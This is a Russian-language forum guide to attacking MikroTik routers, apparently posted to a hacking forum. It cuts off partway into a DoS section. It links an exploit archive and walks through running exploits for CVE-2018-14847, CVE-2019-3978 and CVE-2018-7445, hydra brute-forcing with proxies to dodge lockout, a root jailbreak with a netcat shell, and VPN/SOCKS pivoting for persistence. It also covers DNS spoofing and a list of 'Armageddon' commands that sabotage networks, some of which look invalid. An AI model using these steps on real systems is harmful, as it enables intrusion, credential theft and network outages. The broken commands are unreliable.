Пентест сетевого оборудования Mikrotik
Содержание:
-О себе
-Подготовка
-Материал для роботы
-Моделирование атаки
2.Сбор информации
-Обнаружение хостов с RouterOs в сети
-Сбор информации об хостах
-Спецификации устройств и прошивок
3.Эксплутация уязвимостей и получение доступа
-0day в микротиках
-Баг в дружке или отравление DNS кэша
-Брутфорс протоколов
-Утка в микротике
-Атака на SMB в микротах
-План Б , или то что не любит red team
4.Постексплаутация
-Поговорим об мальварях
-Pivoting или подкрепление постоянного доступа
-Делаем jailbreak (root)
-Сбор локальной информации
-Dns spoofing
-Перенастройка сетки
-Армагедон
5.DoS атаки
-Tcp flood
-SSH flood
-FTP flood
-CDP flood
-ARP flood
6.Защита от атак
-Убиваем мальварь
-Изгоняем нежданных гостей
-Безопасная настройка сети для обеспечения безопасности
-Советы админам
Дисклеймер
Все манипуляции с оборудованием проводились в частной сети , оборудование мое.Информация в докладе представлена для пентестеров , специалистов по ИБ , сетевых и системных администраторов , исследователей.
Заметка для пентестеров:
При DoS атаке на оборудование нужно быть максимально осторожным и заранее согласовать проведение DoS с заказчиком и администратором (владельцем) сети.
Я не держу ответственности за ваши действия с чужим оборудованием!
Все действия в докладе показаны от лица пентестера, помните, что перед тестированием сети нужно заключить договор с владельцем и администратором сети и затем уже приступать к работе.
Пентест будет проводиться с тактикой социальной инженерии и физического пентеста.
Вступление
О себе
Привет друг! Я Gufi! , занимаюсь пентестом и исследованием сетевого оборудования.О себе
В пентесте я недавно и стараюсь проявлять активность в разных отраслях и мероприятиях.
Занимаюсь изучением и реверсингом сетевых протоколов. При тестировании сетевого оборудования Mikrotik я задумался над идеей написания доклада о пентесте Mikrotik.
Здесь я собрал самые популярные векторы атак, и всю полезную информацию, которая пригодится во время пентеста.
Статья сделана специально для XSS!
Подготовка
Арсенал инструментов:-ноутбук с kali
-wifi адаптер (подойдет встроенный , я юзал Alfa awus 1900)
-Raspberry pi (zero , 3b)
-Ethernet кабель
Software:
-Wireshark
-Nmap
-Metasploit
-Winbox
-Python
-Все мои скрипты и эксплоиты - https://anonfiles.com/3438xft7zb/SOFT_zip
Физические привилегии:
-доступ к локальной сети (wifi , ethernet)
-время на проведение атаки (1 , 2 часа)
(Не обязательный физический доступ к оборудованию)
-физический доступ к портам оборудования.
-полный физический доступ к оборудованию
Материал для работы
Soft.zip – https://anonfiles.com/3438xft7zb/SOFT_zipKali Linux – https://www.kali.org/get-kali/#kali-platforms
Nmap – https://nmap.org/download
Metasploit Framework – https://www.metasploit.com/download
Winbox – https://mikrotik.com/download
Python – https://www.python.org/downloads/
Моделирование атаки
Мы будем работать в физической локальной сети. Это лаборатория из моего личного оборудования , чужие устройства мы не используем.Работать будем по алгоритму:
-Подготовка
-Сбор информации
-Поиск уязвимостей
-Эксплуатация уязвимостей
-Постэсксплуатация
Атакуемые устройства:
MikroTik RB2011
MikroTik CCR Series
MikroTik hEX Series
Сбор информации
Обнаружение хостов с RouterOs в сети
Обнаружение хостов с RouterOs в сети
Мы в сети… Теперь с помощью команды
ip a мы должны узнать свою подсеть!По дефолту главный маршрутизатор стоит под адресом 192.168.xx.1,
просканируем его нмапом:
Nmap 192.168.88.1 -sV
(В баннерах версий мы видим версии от mikrotik)
Или просто перейдем по айпи адресу в браузере.
Переходим по ссылке
http://192.168.88.1 /
Теперь мы точно знаем что под адресом 192.168.88.1 у нас главный маршрутизатор.
Теперь просканируем всю подсеть на наличие устройств mikrotik.
По дефолту во всех устройствах mikrotik открыт порт 8291 , теперь мы просто сканируем все устройства в сети и определяем девайсы с этим открытым портом.
nmap 192.168.88.1/24 -p 8291 --openПолучаем такой вывод:
Теперь делаем таблицу в которую мы будем записывать информацию об таргетах:
| 192.168.88.1 | 48:8F:5A:89:E9:F0 |
| 192.168.88.12 | 48:8F:5A:E7:BA:BC |
| 192.168.88.23 | 48:8F:5A:E7:BA:A6 |
| 192.168.88.35 | 48:8F:5A:7A:82:CE |
| 192.168.88.38 | 48:8F:5A:7A:82:CE |
В следующей главе мы будем проводить первый этап пентеста – Information gathering ,будем собирать всю общедоступную информацию об таргетах из таблицы. И добавлять новые найденные данные об устройствах , таких как:
-версия прошивки
-открытые порты
-версии служб
-и т.д.
Сбор информации об хостах
В предыдущей главе мы обнаружили 5 устройств от mikrotik , теперь займемся сбором полной общедоступной информации об этих устройствах для дальнейшего пентеста.
Автоматизированный сбор информации
Из архива soft.zip тянем папку MIG toolMIG tool (Microtik Information Gathering tool) – это мой скрипт на python сделанный для автоматизации сбора информации об хостах.
Запускаем скрипт info_gath.py (запускаем через sudo):
В поле Input IP вводим ip адрес устройства (вводим все айпи адреса из таблицы по одному)
Мы получили такую информацию об устройствах как:
-RouterOS Version -Open ports
-Authorization page -Ports Banners
-MAC address -OS family
Парсинг MNDP пакета
MNDP - Протокол MikroTik Neighbor Discovery (MNDP) и LLDP позволяют «находить» другие устройства, совместимые с MNDP или CDP (Cisco Discovery Protocol) или LLDP в широковещательном домене Layer2.
Если перехватить пакет этого протокола , то можно без проблем в открытом виде получить много полезной информации об оборудовании.
1.Запускаем wireshark и начинаем сниффинг.
2.В фильтре поиска пишем mndp:
3.Ждем пока появится пакет:
4.Кликаем на пакет и получаем полные данные про оборудование:
Вкладка source нашем случае это ip адрес оборудования.
Получаем такую информацию из пакета:
-MAC-Address
-Identity
-Version
-Platform
-MikroTik
-Software-ID
-Board
-Unpack
-Interface name
-IPv4-Address
Теперь дополним нашу таблицу этими данными.
| IP address | MAC address | Firmware version | Open ports | Ports Banners | Board Model | Software ID |
Используя эти две тактики мы можем собрать много информации об нашей цели , например: версия прошивки , службы , модель оборудования и т.д.
Информация пригодится для поиска уязвимостей к этим версиям и дальнейшей эксплуатации.
В следующей главе мы поговорим об разных версиях прошивок и моделях оборудования.
Спецификации устройств и прошивок
Построение сети идет из таких устройств как:-Главный маршрутизатор(зачастую под адресом 192.168.88.1)
-Коммутаторы (разделение сети на разные большие куски из устройств)
-Адаптеры или ретрансляторы(устройства для усиления сигнала)
Для всех устройств mikrotik этих типов есть панель администрирования и своя версия прошивки.
Их можно конфигурировать и для них тоже есть базовые уязвимости, например протоколы общения.
RouterOS – OS на основе ядра Linux специально сделанная для оборудования mikrotik. Версия RouterOS играет большую роль при пентесте , например устройства с версией RouterOS от 6.29 до 6.42 уязвимы к эксплоиту CVE-2018-14847.
Маршрутизатор Коммутатор (switch)
В следующей главе мы займемся поиском уязвимостей и их эксплуатацией , в этом нам поможет собранная информация и эксплоиты под разные виды уязвимостей.
Эксплуатация уязвимостей и получение доступа
0day в микротиках
Критическая уязвимость дает доступ к чтению произвольного файла , тем самым эксплоит вытянет нам креды от устройства.
В архиве заходим в папку CVE-2018-1484
У нас есть несколько способов запуска эксплоита:
Атака по winbox(tcp/ip) с запросом ip адреса:
python3 WinboxExploit.py <ipАтака по winbox c запросом MAC адреса:
Определяем Mikrotik в сети:
python3 MACServerDiscover.pyАтака!
python3 MACServerExploit.py <MAC>После проведения атаки мы увидим такую картину:
Теперь заходим в winbox и подключаемся к устройству:
У нас появился доступ к устройству.
Баг в дружке или отравление DNS кэша
DNS cache poisoning – один из популярных векторов атак , при котором происходит подмена DNS сервера устройства.
Эта уязвимость проявляется в службе Winbox, которая используется для удаленного управления маршрутизатором. Злоумышленник может отправить специально сформированный запрос к уязвимому устройству, который может позволить ему выполнить произвольный код на устройстве без необходимости аутентификации.
В случае с микротиками , мы будем использовать эксплоит под уязвимость CVE-2019-3978. Скрипт изменяет днс сервер на наш , тем самым мы можем заставить устройство скачать наш мальварь либо старую версию прошивки.
Работает это все на прошивке 6.45.6
В архиве заходим в папку CVE-2019-3978
Открываем файл:
python multipoison.pyВводим ip адрес устройства и днс сервер который нам нужен.
На днс сервере поднимем http сервер с файлами которые будут загружены на устройство микротик.
После удачного выполнения эксплоита , устройство когда захочет обновить прошивку и обратиться к днс серверу с прошивками , установит наш файл.
Чтобы организовать атаку с получением доступа мы будем устанавливать уязвимую прошивку на устройство , и потом через эксплоит CVE-2018-14847 получим креды от админки.
Этот метод атаки будет лучшим для получения доступа на версии 6.45.6
на видео мы увидим процесс отката прошивки устройства к более уязвимой версии.
Брутфорс протоколов
Брутфорс протоколов - это метод получения доступа к устройству путем перебора комбинаций логинов и паролей до тех пор, пока не будет найден правильный набор логина и пароля.
MikroTik RouterOS по умолчанию открывает несколько служб, которые могут использоваться для управления и настройки устройства. Вот некоторые из них:
SSH (порт 22)
Telnet (порт 23
Winbox (порт 8291)
FTP (порт 21)
Webfig (порт 80)
Для брутфорса будем использовать инструмент hydra. Вот примеры команд для разных протоколов.
FTP:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.0.1SSH:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.1Telnet:
hydra -l admin -P /usr/share/wordlists/rockyou.txt telnet://192.168.0.1Webfig (https):
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.0.1 http-form-post "/webfig/index3.cgi:user=^USER^&password=^PASS^:Authentication failed"Winbox:
1.Скачиваем инструмент: https://github.com/mrhenrike/MikrotikAPI-BF
2.Переходим в директорию с инструментом:
cd MikrotikAPI-BF3.Запуск инструмента:
python mikrotikapi-bf.py -t <ip> -u admin -d <path to wordlist>(Атака на этот протокол будет одной из самых лучших)
Помним , что нужно работать с проксей , ведь после небольшого количества неверных запросов , оборудование запрещает вводить данные определенным ip адресам.
Для этого , в гидре используем флаг -x <proxy>
Атака на SMB
MikroTik RouterOS SMB Buffer Overflow - это уязвимость, которая может быть использована злоумышленниками для удаленного выполнения произвольного кода на уязвимой системе MikroTik.
Уязвимость связана с обработкой протокола SMB (Server Message Block) в RouterOS. Злоумышленник может отправить специально сформированный пакет SMB, который вызовет переполнение буфера в RouterOS и позволит злоумышленнику выполнить произвольный код на уязвимой системе.
Для эксплуатации уязвимости , в архиве переходим в папку CVE-2018-7445
Из консоли запускаем скрипт:
Python CVE-2018-7445.py <ip> <shellcommand>Используя эксплоит , мы можем удаленно выполнить команду на устройстве в оболочке bash.
Утка в микротике
Badusb – вектор атаки с помощью эмуляции HID устройства , клавиатуры или ethernet адаптера.Используя устройство P4wnP1 мы можем провести некоторые векторы атак имея физический доступ к устройству.
MITM
Папка mikrotik_mitm что находится в нашем архиве содержит файлы конфигурации для управления исходящим трафиком посредника от хостов локальной сети RouterOS.
Файлы конфигурации были протестированы с использованием RouterOS на hAP с использованием конфигураций по умолчанию на стабильной версии 6.44.1. Предположительно, он работает на любом маршрутизаторе на базе RouterOS, который поддерживает функцию 4G USB. Атака приведет к тому, что весь интернет-трафик будет перенаправлен на Raspberry Pi, подключенный к USB-порту. Pi будет перенаправлять весь интернет-трафик на удаленный VPN-сервер.
Как написано, «удаленный» VPN-сервер находится по адресу 192.168.1.64. Если вы собираетесь попробовать это сами, вам нужно настроить соединение openvpn и, возможно, параметры iptables / dhcp в зависимости от того, где находится ваш VPN-сервер. Конфигурация VPN-сервера довольно проста:
sudo sysctl -w net.ipv4.ip_forward=1sudo openvpn --ifconfig 10.200.0.1 10.200.0.2 --dev tun --auth nonesudo iptables -I FORWARD -i tun0 -j ACCEPTsudo iptables -I FORWARD -i tun0 -o ACCEPTsudo iptables -t nat -A POSTROUTING -j MASQUERADEКак уже упоминалось, RouterOS распознает USB-устройство, используя конфигурацию по умолчанию. Однако! По какой-то причине маршрутизатор не распознает Pi, пока вы сначала не подключите что-то еще. Вам нужно сделать это только один раз, а затем все в порядке, пока маршрутизатор не перезагрузится. Я не уверен в первопричине этого.
План Б , или то что не любит red team
Если все предыдущие способы не смогли дать нам доступ к устройству , тогда у нас остается несколько способов атак , имея физический доступ к оборудованию.
Самый тяжелый (не всегда доступный) так как не всегда мы имеем физический доступ к портам и кнопкам оборудования.
Netinstall
С помощью инструмента Netinstall ,мы можем как бы перепрошить устройство , тем самым получить доступ к устройству по дефолт кредам после перепрошивки.
Запустите программу Netinstall и нажмите кнопку Net booting.
Поставьте галочку Boot Server Enabled.
В поле Client IP address пропишите IP-адрес из одной подсети с сетевой картой, например, 192.168.88.31.
Нажмите кнопку ОК.
Отключите питание от устройства MikroTik.
Нажмите и держите нажатой кнопку Reset.
Подайте питание на MikroTik.
Продолжайте держать нажатой кнопку Reset (около 30 секунд), пока устройство не появится в программе Netinstall. После этого можно отпустить кнопку Reset.
Нажмите кнопку Browse и укажите папку на компьютере, в которой лежит прошивка для устройства.
После этого ниже появится список прошивок. Выберите необходимую.
Выберите устройство MikroTik.
Нажмите кнопку Install.
По завершении установки появится сообщение "Installation finised successfully", информирующее о том, что прошивка прошла успешно. В конце прошивки на месте кнопки Install может появится кнопка Reboot. Нажмите ее, чтобы перезагрузить устройство.
Теперь подключите сетевой кабель в любой ethernet порт роутера кроме первого (или кроме последнего на моделях RB1100, RB1200 и роутерах серии CCR). Запустите программу Winbox, подключитесь к устройству и выполняйте настройку.https://xss.pro/attachments/57459/?hash=1b05b8f7a800b5aa00c72c3bb47c46a7
В конце не забудьте включить брандмауэр, антивирус и настроить на сетевой карте компьютера автоматическое получение IP-адреса.
Физический сброс оборудования
Один из наиболее распространенных способов - использование кнопки сброса на устройстве.
Обычно эта кнопка расположена на задней панели и может быть нажата с помощью острым предметом, например, штырька или скрепки. Чтобы выполнить сброс, удерживайте кнопку в течение нескольких секунд, пока не начнут мигать светодиоды на устройстве.
После этого устройство будет перезагружено с заводскими настройками.
Постэксплуатация
Поговорим об мальварях
Поговорим об мальварях
И да , под микротики тоже пишут мальвари)
Пишут или на скриптовом языке RouterOS или компилируют код в .bin файл и запускают из под ядра.
Скрипты RouterOS запустить можно почти на всех устройствах с mikrotik.
А .bin файлы только на устройствах с jailbreak-ом.
Pivoting или подкрепление постоянного доступа
Pivoting- это процесс использования компрометированной или уязвимой точки в сети для получения доступа к другим сегментам или системам. В случае MikroTik, пивотинг может быть осуществлен путем использования уязвимости или компрометации MikroTik-маршрутизатора.
Микротикальные устройства имеют широкий набор функций и возможностей, которые можно использовать для пивотинга во время пентеста. Некоторые из них включают:
Перенаправление портов (port forwarding): Настройка перенаправления портов на MikroTik позволяет Пентестер перехватывать входящие соединения и направлять их на целевые системы с другими уязвимостями.
Перенаправление трафика (traffic redirection): Путем изменения настроек маршрутизации на MikroTik можно перенаправлять трафик через скомпрометированное устройство, чтобы анализировать или контролировать сетевой трафик, проходящий через него.
Уязвимости в MikroTik: Пентестеры могут исследовать и использовать известные уязвимости в MikroTik для получения контроля над устройством и использования его как точки пивотинга.
Некоторые тактики pivoting-a мы будем использовать для подкрепления постоянного доступа , и для удаленного проникновения в локальную сеть.
Поднятие Socks сервера
При пивотинге с использованием SOCKS-сервера в MikroTik вы получите следующие преимущества:
-Обход ограничений сети: SOCKS-сервер позволяет обойти ограничения, наложенные на вашу сеть, и получить доступ к ресурсам, недоступным напрямую. Вы сможете обращаться к внутренним системам и сервисам, которые иначе не были бы доступны из внешней сети.
-Анонимность и маскировка источника: Путем маршрутизации трафика через SOCKS-сервер вы можете скрыть ваше истинное местоположение и идентификационные данные. Вместо этого, сервер будет выступать в качестве посредника, а ваш трафик будет идти через него, что поможет уменьшить возможность обнаружения вашего источника.
-Контроль и перехват трафика: SOCKS-сервер позволяет вам анализировать и контролировать трафик, проходящий через него. Вы сможете перехватывать и изучать сетевой трафик, анализировать его содержимое и обнаруживать потенциальные уязвимости в сети или системах.
-Использование локальных сервисов: Подключение через SOCKS-сервер позволяет использовать локальные сервисы и ресурсы в сети, даже если вы находитесь в другой сети или имеете ограниченный доступ.
-Гибкость и настройка: SOCKS-сервер на MikroTik дает вам гибкость настроек, включая выбор порта и настройку адреса прослушивания. Вы можете настроить сервер по своим потребностям и требованиям пентеста.
-Поднимаем сервер
1.В меню MikroTik выберите "Interfaces" (Интерфейсы) и нажмите "+", чтобы добавить новый интерфейс.
2.Выберите тип интерфейса "Socks".
2.Настройте параметры SOCKS-интерфейса, включая порт и адрес прослушивания.
-Настройка правил маршрутизации
1.Перейдите в меню "IP" и выберите "Firewall" (Брандмауэр).
2.Создайте правило маршрутизации, чтобы перенаправить трафик через SOCKS-интерфейс.
3.Настройте цепочку правила как "dstnat" (прибывающий трафик).
4.Укажите порт, на который должен приходить внешний трафик.
5.В поле "Action" (Действие) выберите "Redirect" (Перенаправить).
6.В настройках перенаправления выберите ваш SOCKS-интерфейс.
-Тестирование SOCKS-сервера
1.Установите соединение с SOCKS-сервером, используя клиент SOCKS, такой как ProxyCap или PuTTY.
2.Укажите адрес MikroTik и порт SOCKS-сервера в настройках клиента.
3.Проверьте, работает ли пивотинг, пытаясь обратиться к ресурсам внутри сети, недоступным изначально.
Поднятие PPTP сервера
PPTP (Point-to-Point Tunneling Protocol) - это протокол туннелирования, который позволяет устанавливать виртуальные частные сети (VPN) через общедоступные сети, такие как Интернет. PPTP был разработан в конце 1990-х годов и был широко использован в прошлом для создания VPN-соединений.
Принцип работы PPTP заключается в создании точки-точки соединения между клиентом и сервером, через которое проходит зашифрованный трафик. PPTP использует протоколы PPP (Point-to-Point Protocol) для установки соединения и GRE (Generic Routing Encapsulation) для упаковки данных и создания туннеля.
Подняв PPTP сервер в главной подсети со всеми устройствами – мы окажемся в этой подсети , и зможем работать с этой сетью , и даже проводить сетевые атаки!
-Создание PPTP-сервера
1.В меню MikroTik выберите "PPP" и нажмите "+", чтобы добавить новое соединение PPP.
2.Выберите тип соединения "PPTP Server".
3.Настройте параметры PPTP-сервера, включая адрес пула IP-адресов для клиентов и настройки шифрования.
4.Установите имя пользователя и пароль для аутентификации клиентов.
-Настройка маршрутизации
1.Перейдите в меню "IP" и выберите "Firewall" (Брандмауэр).
2.Создайте правило маршрутизации, чтобы перенаправлять трафик через PPTP-соединение.
3.Настройте цепочку правила как "srcnat" (исходящий трафик).
4.Укажите адреса или сети, для которых требуется перенаправление трафика через PPTP-сервер.
5.В поле "Action" (Действие) выберите "masquerade" (маскировка).
-Клиентская настройка
1.На клиентском устройстве настройте подключение PPTP, используя IP-адрес MikroTik, имя пользователя и пароль, установленные на шаге 2.
2.Установите соединение с PPTP-сервером.
После установки соединения с PPTP-сервером на MikroTik, вы сможете получить доступ к локальной сети, включая ресурсы и устройства внутри нее.
Поднятие других VPN серверов
Подняв VPN сервер , и пропустив через него весь сетевой траффик , можно также получить доступ внутрь локальной сети
Способ №1
/interface sstp-server server set enabled=yes/ppp secret add name=vpn password=vpn profile=default-encryption local-address=100.64.64.1 remote-address=100.64.64.2/ip firewall nat add chain=srcnat action=masquerade src-address=100.64.64.2/ip route add dst-address=192.168.0.0/24 gateway=100.64.64.1(Вместо 192.168.0.0/24 , ставим свою подсеть с которой будем работать)
Способ №2 (OpenVPN)
-Настройка сертификатов
/certificate add name=server-cert common-name=server/certificate add name=server-key common-name=server key-size=2048 key-usage=key-cert-sign,crl-sign-Настройка OpenVPN-сервера
1.В меню MikroTik выберите "Interfaces" (Интерфейсы).
2.Нажмите "+" и выберите "OVPN Server" (сервер OpenVPN).
3.Настройте параметры OpenVPN-сервера, включая выбор сертификата (server-cert) и ключа (server-key), установку порта и протокола.
4.Настройте IP-адрес пула для клиентов OpenVPN, чтобы назначать им адреса в вашей локальной сети.
-Настройка маршрутизации
1.Перейдите в меню "IP" и выберите "Firewall" (Брандмауэр).
2.Создайте правило маршрутизации, чтобы разрешить трафик от клиентов OpenVPN в вашу локальную сеть.
3.Настройте цепочку правила как "forward" (пересылка трафика).
4.Укажите интерфейс OpenVPN и сеть вашей локальной сети в поле "In. Interface" (входящий интерфейс).
5.В поле "Action" (Действие) выберите "accept" (разрешить).
-Клиентская настройка
1.Создайте клиентские конфигурационные файлы OpenVPN для клиентов, включая сертификаты и ключи, необходимые для подключения к серверу MikroTik.
2.Настройте клиентское приложение OpenVPN на устройстве клиента, используя созданные конфигурационные файлы.
3.После успешного подключения клиента OpenVPN к серверу MikroTik, вы сможете получить доступ к локальной сети и ее ресурсам.
OpenVPN является более безопасным и современным протоколом VPN по сравнению с PPTP, и рекомендуется его использование для обеспечения безопасного доступа к локальной сети.
Делаем jailbreak (root)
Jailbreak в микротиках – этап получения root доступа к командной строке ядра или расширение возможностей RouterOS.
Этот этап очень важен при постэксплуатации , так как имея root доступ к Linux ядру роутера , мы можем реализовать на 80% больше атак зная командную строку Linux.
Для jailbreak-a мы будем использовать инструмент FOISted , с помощью него мы получим доступ к командной сроке устройства , и можем пользоваться ним как Linux машиной.
Для получения доступа к консоли , нам нужно только знать ip устройства, логин и пароль
1.Скачиваем инструмент:
https://github.com/MarginResearch/FOISted
2.Переходим в каталог со скриптом:
Cd FOISted3.Запускаем эксплоит:
python3 exploit.py -H <router_ip> -u <username> -p <password>
4.Подключаемся к консоли:
nc <router_ip> 1337Теперь у нас есть доступ к консоли , мы можем делать очень очень много чего , например легко запускать там .bin мальвари , или использовать роутер как сниффер трафика)
Сбор локальной информации
После проникновения в устройство , мы можем собирать дополнительную информацию об сети. Это нам пригодится при атаках на другие сетевые устройства , атаках на устройства в локальной сети и при сетевых атаках.
Все команды которые мы будем использовать , вводим в Mikrotik terminal. Доступ к нему можно получить подключившись по telnet или ssh , или через Webfig (веб-панель)
Вот большой список команд для роутера MikroTik, которые могут быть полезными при сборе информации о сети:
interface print - выводит список сетевых интерфейсов и их конфигурацию.ip address print - отображает список IP-адресов и подсетей на каждом интерфейсе.ip route print - выводит таблицу маршрутизации сети.ip dns print - показывает настройки DNS.user print - отображает список пользователей, включая их имена и группы.export file=config.txt - экспортирует конфигурацию роутера в текстовый файл "config.txt".log print - выводит журнал событий роутера.system backup save name=backup - создает резервную копию конфигурации роутера с именем "backup".file print - отображает список файлов в файловой системе роутера.tool traceroute address=destination - выполняет трассировку маршрута до указанного назначения.ping address=destination - выполняет пинг до указанного адреса.tool bandwidth-server print - отображает настройки сервера пропускной способности.tool sniffer start - запускает сниффер пакетов для анализа трафика.tool mac-server print - выводит информацию о настройках сервера MAC-таблицы.tool wireless registration-table print - отображает таблицу регистрации беспроводных устройств.tool bandwidth-test - выполняет тест пропускной способности с использованием различных параметров.Dns spoofing
DNS-спуфинг (DNS spoofing) - это техника, при которой злоумышленник изменяет или подменяет ответы DNS-сервера, чтобы перенаправить трафик на неправильные IP-адреса или на свои управляемые системы. Это позволяет злоумышленнику осуществлять атаки типа "Man-in-the-Middle" и перехватывать сетевой трафик между клиентами и серверами.
В контексте роутеров MikroTik, DNS-спуфинг может быть реализован путем изменения или создания поддельных записей DNS на роутере. Когда клиент отправляет DNS-запрос для разрешения имени хоста на IP-адрес, роутер MikroTik может подменить ответы DNS-сервера и указать другой IP-адрес, на который злоумышленник хочет перенаправить трафик.
Команды для выполнения DNS-спуфинга на роутерах MikroTik:
-Создание поддельных записей DNS:
/ip dns static add name=example.com address=1.2.3.4Здесь "example.com" - целевой домен, а "1.2.3.4" - IP-адрес, на который вы хотите перенаправить трафик.
-Настройка правил маршрутизации:
/ip firewall nat add chain=dstnat action=dst-nat to-addresses=1.2.3.4 protocol=tcp dst-address=192.168.0.0/24 dst-port=80 /ip firewall nat add chain=dstnat action=dst-nat to-addresses=1.2.3.4 protocol=udp dst-address=192.168.0.0/24 dst-port=53Здесь "1.2.3.4" - поддельный IP-адрес, а "192.168.0.0/24" - целевая подсеть, которую вы хотите перенаправить.
-Включение прослушивания DNS-запросов:
/tool sniffer set filter-interface=ether1-gateway filter-ip-protocol=udp filter-udp-port=53 /tool sniffer startПри проведении Dns spoofing мы можем перехватить весь траффик в сети , тем самым потянуть оттуда очень полезную информацию.
Перенастройка сетки
Имея доступ к главному (корневому) маршрутизатору в сети , мы можем изменять настройки сети под свои нужды.Самые главные команды для изменений настроек сети:
/interface print - вывод списка интерфейсов/interface set <interface-name> <parameter=value> - изменение параметров интерфейса/ip address print - вывод списка настроенных IP-адресов/ip address add address=<ip-address> interface=<interface-name> - добавление IP-адреса к интерфейсу/ip address remove <address> - удаление IP-адреса/ip route print- вывод списка маршрутов/ip route add dst-address=<destination-address> gateway=<gateway-address> - добавление маршрута/ip route remove <route-number> - удаление маршрута/ip dns set servers=<dns-server-ip> - настройка DNS-серверов/ip dns static print - вывод списка статических DNS-записей/ip dns static add name=<domain-name> address=<ip-address> - добавление статической DNS-записи/ip dhcp-server print - вывод списка DHCP-серверов/ip dhcp-server set <dhcp-server-number> <parameter=value> - изменение параметров DHCP-сервера/ip dhcp-server lease print - вывод списка арендованных IP-адресов DHCP-клиентов/ip firewall filter print - вывод списка правил брандмауэра/ip firewall filter add chain=<chain-name> action=<action> protocol=<protocol> src-address=<source-address> dst-address=<destination-address> - добавление правила брандмауэра/ip firewall filter remove <rule-number> - удаление правила брандмауэра/interface pptp-server server print - вывод списка PPTP-серверов/interface pptp-server server set <server-number> <parameter=value> - изменение параметров PPTP-сервера/interface ovpn-server server print - вывод списка OpenVPN-серверов/interface ovpn-server server set <server-number> <parameter=value> - изменение параметров OpenVPN-сервера/interface wireless print - вывод списка беспроводных интерфейсов/interface wireless set <wireless-interface-name> <parameter=value> - изменение параметров беспроводного интерфейса/system clock print - вывод информации о текущем времени/system clock set time-zone-name=<timezone>- установка временной зоны/tool bandwidth-server print - вывод информации о сервере пропускной способности/tool bandwidth-server set enabled=yes - включение сервера пропускной способности/tool email set server=<email-server> port=<port> - настройка сервера электронной почты/tool e-mail send to=<email-address> subject=<subject> body=<message> - отправка электронной почты/tool netwatch print - вывод списка настроек мониторинга сетиАрмагедон
Имея доступ к панели управления оборудованием , мы можем устроить в сети полный армагедон!)Ниже приведены команды с помощью которых мы можем помешать адекватной роботе сети:
1. Остановка маршрутизации:
/routing disableЭта команда отключает все маршруты в системе, что приводит к полной потере связности.
2. Остановка работы интерфейсов:
/interface ethernet disable [find]Данная команда отключает все сетевые интерфейсы, делая их недоступными для передачи данных.
3. Создание бесконечного цикла:
/tool netwatch add host=127.0.0.1 interval=1sДобавление этой команды создаст бесконечный цикл пингования на локальный адрес, что может привести к перегрузке процессора.
4. Изменение TTL пакетов:
/ip firewall mangle add action=change-ttl new-ttl=1Изменение TTL (Time-To-Live) пакетов до значения 1 приведет к быстрому исчезновению пакетов из сети.
5. Ограничение пропускной способности:
/queue simple add max-limit=1M/1MСоздание ограничений пропускной способности на интерфейсе до 1 Мбит/с, что может вызвать задержки и потери пакетов.
6. Создание множества виртуальных интерфейсов: /interface ethernet clone-times=100
Эта команда создаст 100 виртуальных интерфейсов Ethernet, что может вызвать перегрузку системы.
7. Отключение межсетевого экрана (firewall):
/ip firewall disableДанная команда отключит все правила межсетевого экрана, открывая сеть для потенциальных атак.
8. Перенаправление всех пакетов на "нулевой" адрес:
/ip firewall nat add action=dst-nat to-addresses=0.0.0.0Это правило перенаправляет все пакеты на нулевой адрес, делая их недоступными для дальнейшей обработки.
9. Создание множества ложных ARP-запросов:
/ip arp add [find] comment="False ARP"Эта команда создает множество ложных ARP-запросов, что может привести к конфликтам адресов и снижению производительности сети.
10. Отключение протокола Spanning Tree (STP):
/interface bridge settings set use-stp=noОтключение протокола Spanning Tree может привести к появлению петель в сети и созданию шторма широковещательных пакетов.
11. Отключение DHCP-сервера:
/ip dhcp-server disableОтключение DHCP-сервера приведет к тому, что устройства не смогут автоматически получить IP-адресы.
12. Отключение DNS-сервера:
/ip dns set servers=0.0.0.0Эта команда отключает DNS-сервер, что может привести к невозможности разрешения имен и доступа к веб-ресурсам.
13. Отключение NAT (Network Address Translation):
/ip firewall nat disableОтключение NAT приведет к тому, что устройства в сети не смогут обращаться в Интернет через общедоступные IP-адреса.
14. Остановка DHCP Snooping:
/interface bridge port set dhcp-snooping=noОтключение DHCP Snooping может привести к возможности подключения несанкционированных DHCP-серверов в сеть.
15. Загрузка CPU:
/tool profile cpu duration=10sЭта команда вызывает загрузку процессора на 100% в течение 10 секунд, что может привести к снижению производительности устройства.
16. Удаление всех маршрутов:
/ip route remove [find]Удаление всех маршрутов приведет к полной потере связности в сети.
17. Отключение всех ACL (Access Control List):
/ip firewall filter disableДанная команда отключает все правила фильтрации, открывая сеть для возможных атак.
18. Отключение STP (Spanning Tree Protocol) на порту:
/interface bridge port set <port> stp=noОтключение STP на определенном порту может привести к появлению петель и снижению производительности сети.
19. Отключение всех брандмауэров:
/ip firewall filter disableОтключение всех брандмауэров снимет все ограничения и правила безопасности, делая сеть уязвимой для атак.
20. Отключение всех NAT-правил:
/ip firewall nat disableОтключение всех NAT-правил приведет к невозможности маршрутизации трафика между сетями.
DoS
DoS — атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых добросовестные пользователи системы не смогут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ будет затруднён. Отказ «вражеской» системы может быть и шагом к овладению системой (если в нештатной ситуации ПО выдаёт какую-либо критическую информацию — например, версию, часть программного кода и т. д.). Но чаще это мера экономического давления: потеря простой службы, приносящей доход, счета от провайдера и меры по уходу от атаки ощутимо бьют по карману «цели».[1] В настоящее время DoS и DDoS-атаки наиболее популярны, так как позволяют довести до отказа практически любую плохо написанную систему, не оставляя юридически значимых улик.
Атаку мы будем проводить с помощью нескольких скриптов.
Атака через некоторые протоколы может даже парализовать роботу оборудования на канальном уровне.
TCP flood
Атака TCP flood на устройства MikroTik происходит путем отправки большого количества TCP-запросов на целевой устройство, превышая его возможности обработки и вызывая отказ в обслуживании (DoS). Вот краткий обзор процесса:
Злоумышленник идентифицирует уязвимые устройства MikroTik, которые могут быть подвержены атаке TCP flood.
Злоумышленник запускает скрипты или использует специализированные инструменты для генерации большого количества фальшивых TCP-соединений с целевыми устройствами MikroTik.
Устройства MikroTik начинают обрабатывать эти фальшивые соединения, и их ресурсы быстро исчерпываются из-за огромного количества запросов.
Проводим атаку:
1.Cкачиваем инструмент: https://github.com/Leeon123/TCP-UDP-Flood
2.Переходим в каталог с инструментом:
